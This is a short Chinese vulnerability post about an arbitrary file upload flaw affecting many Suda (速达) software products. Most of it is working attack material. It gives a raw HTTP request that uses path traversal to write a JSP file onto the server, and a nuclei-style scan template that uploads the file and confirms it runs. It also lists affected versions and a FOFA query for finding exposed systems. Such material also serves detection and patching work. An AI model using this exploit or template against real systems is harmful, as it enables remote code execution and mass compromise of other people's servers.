速达软件全系产品存在任意文件上传漏洞

POST /report/DesignReportSave.jsp?report=../10086.jsp HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/octet-streamContent-Length: 31
<% out.print("100861111111");%>

id: suda_files_uploadinfo:  name: suda_files_upload  author: joyboy  severity: critical  description: 影响版本：速达A3.cloud BAS、速达A3.cloud STD、速达A30.cloud PRO、速达3000.online PRO、速达A4.cloud BAS、速达A4.cloud STD、速达A40.cloud PRO、速达4000.online PRO、速达A5.cloud STD、速达A50.cloud PRO、速达A70.cloud PRO、速达5000.online PRO、速达7000.online PRO  metadata:    max-request: 1    fofa-query: app="速达软件-公司产品"    verified: true  tags: upload
requests:  - raw:      - |-        POST /report/DesignReportSave.jsp?report=../10086.jsp HTTP/1.1        Host: {{Hostname}}        Content-Type: application/octet-stream
        <% out.print("1008611");%>      - |+        GET /10086.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body_2), "1008611") && status_code_2 == 200'